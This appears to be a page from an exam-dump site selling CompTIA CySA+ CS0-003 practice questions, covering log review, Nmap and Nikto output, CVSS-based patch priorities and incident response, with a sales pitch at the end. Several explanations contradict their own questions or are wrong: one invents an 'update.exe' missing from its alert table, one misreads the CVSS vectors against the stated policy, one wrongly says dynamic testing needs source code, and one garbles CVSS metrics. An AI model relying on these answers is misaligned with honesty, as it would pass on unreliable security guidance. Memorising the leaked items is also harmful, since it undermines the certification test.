- B. 2
- C. 3
- D. 4

**Answer:** B

**Explanation:**

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

References:

- ? CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2
- ? The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

**NEW QUESTION 160**

A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Host	Path	Key added
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Personalization	Allow (1)
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Run	RunMe (%appdata%\abc.exe)
WEBSERVER01	HKCU\Printers\ConvertUserDevModesCount	Microsoft XPS Writer (2)
WEBSERVER01	HKCU\Network\Z	Remote Path (192.168.1.10 CorpZ_Drive)
WEBSERVER01	HKLM\Software\Microsoft\PCHealthCheck	Installed (1)

Which of the following best describes the suspicious activity that is occurring?

- A. A fake antivirus program was installed by the user.
- B. A network drive was added to allow exfiltration of data
- C. A new program has been set to execute on system start
- D. The host firewall on 192.168.1.10 was disabled.

**Answer:** C

**Explanation:**

A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has modified the registry keys of the system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a system and alerts the security analyst of any unauthorized or malicious modifications. The alert triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is used to launch programs automatically when the system starts. The new registry key points to a file named "update.exe" in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:

- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>
- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/training/books/cysa-cs0-002-study-guide>

**NEW QUESTION 162**

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes and unusual network traffic. Which of the following incident response steps should be performed next?

- A. Preparation
- B. Validation
- C. Containment
- D. Eradication

**Answer:** C

**Explanation:**

After detecting a compromised email server and unusual network traffic, the next step in incident response is containment, to prevent further damage or spread of the compromise. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

**NEW QUESTION 163**

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

- A. Containerization
- B. Manual code reviews
- C. Static and dynamic analysis
- D. Formal methods

**Answer:** D

**Explanation:**

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools1.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or

while executing it (dynamic), which can help detect bugs, defects, and performance issues1.

### NEW QUESTION 166

A security analyst reviews the following results of a Nikto scan:

```

shared@LinuxHint: ~
File Edit View Search Terminal Help
-----
+ Server: Apache
+ Root page / redirects to: https://www.proz.com/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ File/dir '/crawler-pit/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/s/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translator/23725/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/1273295/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=404/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translation-news/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ "robots.txt" contains 10 entries which should be manually viewed.
+ lines
+ /crossdomain.xml contains 1 line which should be manually viewed for improper domains or wildcards.
+ Server is using a wildcard certificate: '*.proz.com'
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8201xdh%28v5.80%29.aspx for details.
+ /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php
+ /lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist
+ /splashAdmin.php: Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely.
+ /ssdefs/: Ssiteeed pre 1.4.2 has 'major' security problems.
+ /sshome/: Ssiteeed pre 1.4.2 has 'major' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /scripts/samples/details.idc: See RFP 9901: www.wiretrip.net
+ OSVDB-396: /_vti_bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.
+ OSVDB-637: /-root/: Allowed to browse root's home directory.
+ /cgi-bin/wrap: comes with IRIX 6.2; allows to view directories
+ /forums/admin/config.php: PHP Config file may contain database IDs and passwords.
+ /forums/adm/config.php: PHP Config file may contain database IDs and passwords.
+ /forums/administrator/config.php: PHP Config file may contain database IDs and passwords.

```

Which of the following should the security administrator investigate next?

- A. tiki
- B. phplist
- C. shtml.exe
- D. sshome

**Answer: C**

#### Explanation:

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto

### NEW QUESTION 171

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

**Answer: D**

#### Explanation:

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

- ? 1: MITRE ATT&CK®
- ? 2: What is the MITRE ATT&CK Framework? | IBM
- ? 3: MITRE ATT&CK | MITRE
- ? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics | Splunk
- ? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

### NEW QUESTION 172

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Select two).

- A. Law enforcement
- B. Governance
- C. Legal

- D. Manager
- E. Public relations
- F. Human resources

**Answer:** CE

**Explanation:**

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security<sup>12</sup>. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

**NEW QUESTION 177**

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log:

Time stamp	Message
20:06:05	LDAP: A read operation was performed on an object: Domain Admins
20:06:05	LDAP: A read operation was performed on an object: Domain Servers
20:06:09	EDR: A local group was enumerated: Administrators
20:06:23	EDR: SMB connection attempts to multiple hosts from single host: PC021

Which of the following is most likely occurring, based on the events in the log?

- A. An adversary is attempting to find the shortest path of compromise.
- B. An adversary is performing a vulnerability scan.
- C. An adversary is escalating privileges.
- D. An adversary is performing a password stuffing attack..

**Answer:** B

**Explanation:**

Based on the events in the log, the most likely occurrence is that an adversary is performing a vulnerability scan. The log shows LDAP read operations and EDR enumerating local groups, which are indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final entry shows SMB connection attempts to multiple hosts from a single host, which could be a sign of network discovery or lateral movement. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161; Monitor logs from vulnerability scanners, Section: Reports on Nessus vulnerability data.

**NEW QUESTION 181**

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

- A. Data enrichment
- B. Security control plane
- C. Threat feed combination
- D. Single pane of glass

**Answer:** D

**Explanation:**

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

**NEW QUESTION 183**

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

- A. Mean time to detect
- B. Number of exploits by tactic
- C. Alert volume
- D. Quantity of intrusion attempts

**Answer:** A

**Explanation:**

Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

steps-cyberattack

**NEW QUESTION 188**

An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?

- A. The scanner is running without an agent installed.
- B. The scanner is running in active mode.
- C. The scanner is segmented improperly.
- D. The scanner is configured with a scanning window.

**Answer: B**

**Explanation:**

The scanner is running in active mode, which is the cause of this issue. Active mode is a type of vulnerability scanning that sends probes or requests to the target systems to test their responses and identify potential vulnerabilities. Active mode can provide more accurate and comprehensive results, but it can also cause more network traffic, performance degradation, or system instability. In some cases, active mode can trigger denial-of-service (DoS) conditions or crash the target systems, especially if they are not configured to handle the scanning requests or if they have underlying vulnerabilities that can be exploited by the scanner<sup>12</sup>. Therefore, the analyst should use caution when performing active mode scanning, and avoid scanning business-critical or sensitive systems without proper authorization and preparation<sup>3</sup>. References: Vulnerability Scanning for my Server - Spiceworks Community, Negative Impacts of Automated Vulnerability Scanners and How ... - Acunetix, Vulnerability Scanning Best Practices

**NEW QUESTION 192**

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

- A. Integrate an IT service delivery ticketing system to track remediation and closure.
- B. Create a compensating control item until the system can be fully patched.
- C. Accept the risk and decommission current assets as end of life.
- D. Request an exception and manually patch each system.

**Answer: A**

**Explanation:**

Integrating an IT service delivery ticketing system to track remediation and closure is the best approach to ensure all vulnerabilities are patched in accordance with the SLA. A ticketing system is a software tool that helps manage, organize, and track the tasks and workflows related to IT service delivery, such as incident management, problem management, change management, and vulnerability management. A ticketing system can help the security team to prioritize, assign, monitor, and document the remediation of the vulnerabilities, and to ensure that they are completed within the specified time frame and quality standards. A ticketing system can also help the security team to communicate and collaborate with other teams, such as the IT operations team, the development team, and the business stakeholders, and to report on the status and progress of the remediation efforts<sup>12</sup>. Creating a compensating control item, accepting the risk, and requesting an exception are not the best approaches to ensure all vulnerabilities are patched in accordance with the SLA, as they do not address the root cause of the problem, which is the large number of critical and high findings that require patching. These approaches may also introduce more risks or challenges for the security team, such as compliance issues, resource constraints, or business impacts<sup>3</sup>. References: What is a Ticketing System? | Freshservice ITSM Glossary, Vulnerability Management Best Practices, Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, [Risk Acceptance in Information Security - Infosec Resources], [Exception Management - ISACA]

**NEW QUESTION 194**

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?

- A. Insider threat
- B. Ransomware group
- C. Nation-state
- D. Organized crime

**Answer: C**

**NEW QUESTION 195**

Which of the following can be used to learn more about TTPs used by cybercriminals?

- A. ZenMAP
- B. MITRE ATT&CK
- C. National Institute of Standards and Technology
- D. theHarvester

**Answer: B**

**Explanation:**

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs. References: MITRE ATT&CK, Getting Started with ATT&CK, MITRE ATT&CK | MITRE

**NEW QUESTION 200**

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

- A. PAM
- B. IDS

- C. PKI
- D. DLP

**Answer:** D

**Explanation:**

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.

**NEW QUESTION 204**

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:

Security Policy 1006: Vulnerability Management

- \* 1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
- \* 2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
- \* 3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A)

Name: THOR.HAMMER  
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  
Internal System

B)

Name: CAP.SHIELD  
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
External System

C)

Name: LOKI.DAGGER  
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  
External System

D)

Name: THANOS.GAUNTLET  
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
Internal System

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer:** C

**Explanation:**

According to the security policy, the company shall use the CVSSv3.1 Base Score Metrics to prioritize the remediation of security vulnerabilities. Option C has the highest CVSSv3.1 Base Score of 9.8, which indicates a critical severity level. The company shall also prioritize confidentiality of data over availability of systems and data, and option C has a high impact on confidentiality (C:H). Finally, the company shall prioritize patching of publicly available systems and services over patching of internally available systems, and option C affects a public-facing web server. Official References: <https://www.first.org/cvss/>

**NEW QUESTION 206**

A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

- A. Running regular penetration tests to identify and address new vulnerabilities
- B. Conducting regular security awareness training of employees to prevent socialengineering attacks
- C. Deploying an additional layer of access controls to verify authorized individuals
- D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

**Answer:** C

**Explanation:**

Deploying an additional layer of access controls to verify authorized individuals is the best compensating control for the authentication vulnerability that could bypass the primary control. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or a threat when the primary control is not sufficient or feasible. A compensating control should provide a similar or greater level of protection as the primary control, and should be closely related to the vulnerability or the threat it is addressing<sup>1</sup>. In this case, the primary control is to restrict access to a sensitive database, and the vulnerability is an authentication bypass. Therefore, the best compensating control is to deploy an additional layer of access controls, such as multifactor authentication, role-based access control, or encryption, to verify the identity and the authorization of the individuals who are accessing the database. This way, the compensating control can prevent unauthorized access to the database, even if the primary control is bypassed<sup>23</sup>. Running regular penetration tests, conducting regular security awareness training, and implementing intrusion detection software are all good security practices, but they are not compensating controls for the authentication vulnerability, as they do not provide a similar or greater level of protection as the primary control, and they are not closely related to the vulnerability or the threat they are addressing. References: Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, What is Multifactor Authentication (MFA)? | Duo Security, Role-Based Access Control (RBAC) and Role-Based Security, [What is a Penetration Test and How Does It Work?]

**NEW QUESTION 210**

A company is implementing a vulnerability management program and moving from an on- premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

- A. The current scanners should be migrated to the cloud
- B. Cloud-specific misconfigurations may not be detected by the current scanners
- C. Existing vulnerability scanners cannot scan IaaS systems
- D. Vulnerability scans on cloud environments should be performed from the cloud

**Answer: B**

**Explanation:**

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider's APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud- specific misconfigurations may not be detected by the current scanners.

**NEW QUESTION 213**

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:

```
Nmap scan report for officeroakuplayer.lan (192.168.86.22)
Host is up (0.11s latency).
All 100 scanned ports on officeroakuplayer.lan (192.168.86.22) are filtered
MAC Address: B8:3E:59:86:1A:13 (Roku)

Nmap scan report for p4wnpl_aloa.lan (192.168.86.56)
Host is up (0.022s latency).
Not shown: 96 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
8000/tcp  open  http-alt
MAC Address: B8:27:EB:D0:8E:D1 (Raspberry Pi Foundation)

Nmap scan report for wh4dc-748gy.lan (192.168.86.152)
Host is up (0.033s latency).
Not shown: 95 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 38:BA:F8:E3:41:CB (Intel Corporate)

Nmap scan report for xlaptop.lan (192.168.86.249)
Host is up (0.024s latency).
Not shown: 93 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 64:00:6A:8E:D8:F5 (Dell)

Nmap scan report for imaging.lan (192.168.86.150)
Host is up (0.0013s latency).
Not shown: 95 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
MAC Address: 38:BA:F8:F4:32:CA (Intel Corporate)
```

Which of the following choices should the analyst look at first?

- A. wh4dc-748gy.lan (192.168.86.152)
- B. lan (192.168.86.22)
- C. imaging.lan (192.168.86.150)
- D. xlaptop.lan (192.168.86.249)
- E. p4wnp1\_aloa.lan (192.168.86.56)

**Answer:** E

**Explanation:**

The analyst should look at p4wnp1\_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. Official References: [https://github.com/mame82/P4wnP1\\_aloa](https://github.com/mame82/P4wnP1_aloa)

**NEW QUESTION 217**

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

- A. Shut the network down immediately and call the next person in the chain of command.
- B. Determine what attack the odd characters are indicative of
- C. Utilize the correct attack framework and determine what the incident response will consist of.
- D. Notify the local law enforcement for incident response

**Answer:** B

**Explanation:**

Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 218**

An organization is conducting a pilot deployment of an e-commerce application. The application's source code is not available. Which of the following strategies should an analyst recommend to evaluate the security of the software?

- A. Static testing
- B. Vulnerability testing
- C. Dynamic testing
- D. Penetration testing

**Answer:** D

**Explanation:**

Penetration testing is the best strategy to evaluate the security of the software without the source code. Penetration testing is a type of security testing that simulates real-world attacks on the software to identify and exploit its vulnerabilities. Penetration testing can be performed on the software as a black box, meaning that the tester does not need to have access to the source code or the internal structure of the software. Penetration testing can help the analyst to assess the security posture of the software, the potential impact of the vulnerabilities, and the effectiveness of the existing security controls<sup>12</sup>. Static testing, vulnerability testing, and dynamic testing are other types of security testing, but they usually require access to the source code or the internal structure of the software. Static testing is the analysis of the software code or design without executing it. Vulnerability testing is the identification and evaluation of the software weaknesses or flaws. Dynamic testing is the analysis of the software code or design while executing it<sup>345</sup>. References: Penetration Testing - OWASP, What is a Penetration Test and How Does It Work?, Static Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices, Dynamic Testing - OWASP

**NEW QUESTION 221**

Security analysts review logs on multiple servers on a daily basis. Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

- A. Deploy a database to aggregate the logging.
- B. Configure the servers to forward logs to a SIEM-
- C. Share the log directory on each server to allow local access,
- D. Automate the emailing of logs to the analysts.

**Answer:** B

**Explanation:**

The best implementation to give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually is B. Configure the servers to forward logs to a SIEM.

A SIEM (Security Information and Event Management) is a security solution that helps organizations detect, analyze, and respond to security threats before they disrupt business<sup>1</sup>. SIEM tools collect, aggregate, and correlate log data from various sources across an organization's network, such as applications, devices, servers, and users. SIEM tools also provide real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks<sup>2345</sup>.

By configuring the servers to forward logs to a SIEM, the security analysts can have a central view of potential threats and monitor security incidents across the corporate environment without logging in to the servers individually. This can save time, improve efficiency, and enhance security posture<sup>2345</sup>.

Deploying a database to aggregate the logging (A) may not provide the same level of analysis, correlation, and alerting as a SIEM tool. Sharing the log directory on each server to allow local access © may not be scalable or secure for a large number of servers. Automating the emailing of logs to the analysts (D) may not be timely or effective for real-time threat detection and response. Therefore, B is the best option among the choices given.

### NEW QUESTION 223

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

- A. `function x() { info=$(geoiplookup $1) && echo "$1 | $info" }`
- B. `function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }`
- C. `function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}') ).origin.asn.cymru.com TXT +short) && echo "$1 | $info" }`
- D. `function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

**Answer: C**

#### Explanation:

The function that can be used on a shell script to identify anomalies on the network routing most accurately is:

```
function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}') ).origin.asn.cymru.com TXT +short) && echo "$1 | $info" }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies

### NEW QUESTION 225

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the change management team fail to do?

- A. Implementation
- B. Testing
- C. Rollback
- D. Validation

**Answer: B**

#### Explanation:

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide

### NEW QUESTION 230

A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server issue?

- A. The server was configured to use SSI- to securely transmit data
- B. The server was supporting weak TLS protocols for client connections.
- C. The malware infected all the web servers in the pool.
- D. The digital certificate on the web server was self-signed

**Answer: D**

#### Explanation:

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure. Official References:

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers>

### NEW QUESTION 233

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?

- A. C2 beaconing activity
- B. Data exfiltration
- C. Anomalous activity on unexpected ports
- D. Network host IP address scanning
- E. A rogue network device

**Answer: A**

#### Explanation:

The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals to an attacker's system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.

**NEW QUESTION 234**

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

- A. Leave the proxy as is.
- B. Decommission the proxy.
- C. Migrate the proxy to the cloud.
- D. Patch the proxy

**Answer: B**

**Explanation:**

The best practice that the company should follow with this proxy is to decommission the proxy. Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning the proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up space or resources for other devices or systems that are in use or needed by the company.

**NEW QUESTION 239**

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

- A. Beaconing
- B. Cross-site scripting
- C. Buffer overflow
- D. PHP traversal

**Answer: A**

**NEW QUESTION 244**

.....

## Thank You for Trying Our Product

\* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

\* One year free update

You can enjoy free update one year. 24x7 online support.

\* Trusted by Millions

We currently serve more than 30,000,000 customers.

\* Shop Securely

All transactions are protected by VeriSign!

**100% Pass Your CS0-003 Exam with Our Prep Materials Via below:**

<https://www.certleader.com/CS0-003-dumps.html>